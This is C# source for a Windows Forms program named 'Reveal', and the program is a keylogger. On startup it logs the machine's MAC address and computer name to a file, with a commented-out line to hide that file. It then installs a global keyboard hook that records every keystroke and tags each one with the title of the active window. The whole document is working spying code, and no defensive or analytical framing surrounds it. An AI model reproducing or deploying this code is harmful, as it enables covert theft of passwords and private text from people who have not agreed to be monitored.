using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using Keystroke.API;
using System.IO;
using System.Diagnostics;
using System.Net.NetworkInformation;
using System.Net.Mail;
using System.Net;


namespace Reveal
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }


        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);


        string path = @"D:\reveal log\log.txt";

        string dir = @"D:\reveal log";

        private void button1_Click(object sender, EventArgs e)
        {
  
        }

        string macAddr = (
      from nic in NetworkInterface.GetAllNetworkInterfaces()
      where nic.OperationalStatus == OperationalStatus.Up
      select nic.GetPhysicalAddress().ToString()
  ).FirstOrDefault();


        string pcname = System.Environment.MachineName;

        private void Form1_Load(object sender, EventArgs e)
        {

            label1.Focus();

            //MAC & PC NAME


            if (!Directory.Exists(dir))
            {
                // Try to create the directory.
                DirectoryInfo di = Directory.CreateDirectory(dir);
            }


            StreamWriter sw = new StreamWriter(path, true);

          //  File.SetAttributes(path, FileAttributes.Hidden);

            sw.Write("MAC Address: ");
            sw.Write(macAddr);
            sw.Write("   ");


            sw.Write("PC Name: ");
            sw.Write(pcname);

            sw.Write(Environment.NewLine);
            sw.Write(Environment.NewLine);

            sw.Close();

            Process currentp = Process.GetCurrentProcess();

            string gavt = null;
            int n = 0;

                using (var api = new KeystrokeAPI())
                
                    api.CreateKeyboardHook((character) =>
                    {
                        
                        if (gavt == GetActiveWindowTitle())
                        {

                            if (character.ToString() == "<backspace>" && n == 1)
                            {
                                var text = textBox1.Text;

                                try { textBox1.Text = text.Remove(text.Length - 1); }
                                catch { }
                            }

                            else if (character.ToString() == "<backspace>" && n == 0)
                            {
                                textBox1.Text += "";
                                gavt = GetActiveWindowTitle();

                            }

                            else
                            {
                                textBox1.Text += ((character).ToString());
                                //gavt = GetActiveWindowTitle();

                                n = 1;
                            }

                        }

                        else
                        {

                            textBox1.Text += Environment.NewLine;
                            textBox1.Text += Environment.NewLine;

                            n = 0;

                            textBox1.Text += "Application Name==> " + GetActiveWindowTitle() + Environment.NewLine + "Text==> ";

                            gavt = GetActiveWindowTitle();


                            if (character.ToString() == "<backspace>" && n == 1)
                            {
                                var text = textBox1.Text;
                                try { textBox1.Text = text.Remove(text.Length - 1); }
                                catch { }
                            }

                            else if (character.ToString() == "<backspace>" && n == 0)
                            {
                                textBox1.Text += "";
                                gavt = GetActiveWindowTitle();

                            }

                            else
                            {
                                textBox1.Text += ((character).ToString());

                                gavt = GetActiveWindowTitle();

                                n = 1;

                            }
                        }
                    });                
            }      

        private void button2_Click(object sender, EventArgs e)
        {
            
            
        }

        private void button3_Click(object sender, EventArgs e)
        {
            
        }

        private string GetActiveWindowTitle()
        {
            const int nChars = 256;
            StringBuilder Buff = new StringBuilder(nChars);
            IntPtr handle = GetForegroundWindow();

            if (GetWindowText(handle, Buff, nChars) > 0)
            {
                return Buff.ToString();
            }
            return "";
        }
}

}